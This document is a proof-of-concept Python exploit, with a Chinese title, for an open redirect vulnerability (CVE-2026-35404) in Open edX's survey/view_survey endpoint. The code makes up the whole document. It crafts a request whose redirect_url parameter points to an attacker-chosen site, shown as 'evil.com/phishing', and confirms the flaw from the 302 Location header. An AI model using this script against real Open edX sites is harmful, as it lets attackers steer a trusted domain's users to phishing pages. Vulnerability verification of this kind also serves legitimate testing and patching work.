CVE-2026-35404 Open edX开放重定向漏洞

# PoC for CVE-2026-35404: Open edX Platform Open Redirect import requests def exploit_open_redirect(target_host, redirect_url): """ Exploits the open redirect vulnerability in the view_survey endpoint. """ # Construct the malicious URL endpoint = f"{target_host}/survey/view_survey" params = { "name": "non_existent_survey", # Triggers the 302 redirect logic "redirect_url": redirect_url } print(f"[*] Sending request to: {endpoint}") print(f"[*] Payload: redirect_url={redirect_url}") try: # Send request without following redirects to capture the Location header response = requests.get(endpoint, params=params, allow_redirects=False, timeout=10) if response.status_code == 302: location = response.headers.get('Location') if location == redirect_url: print(f"[+] Vulnerability Confirmed! Server redirects to: {location}") return True else: print(f"[-] Unexpected redirect to: {location}") else: print(f"[-] Expected 302 Redirect, got status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": # Example usage target = "http://localhost:8000" malicious_site = "http://evil.com/phishing" exploit_open_redirect(target, malicious_site)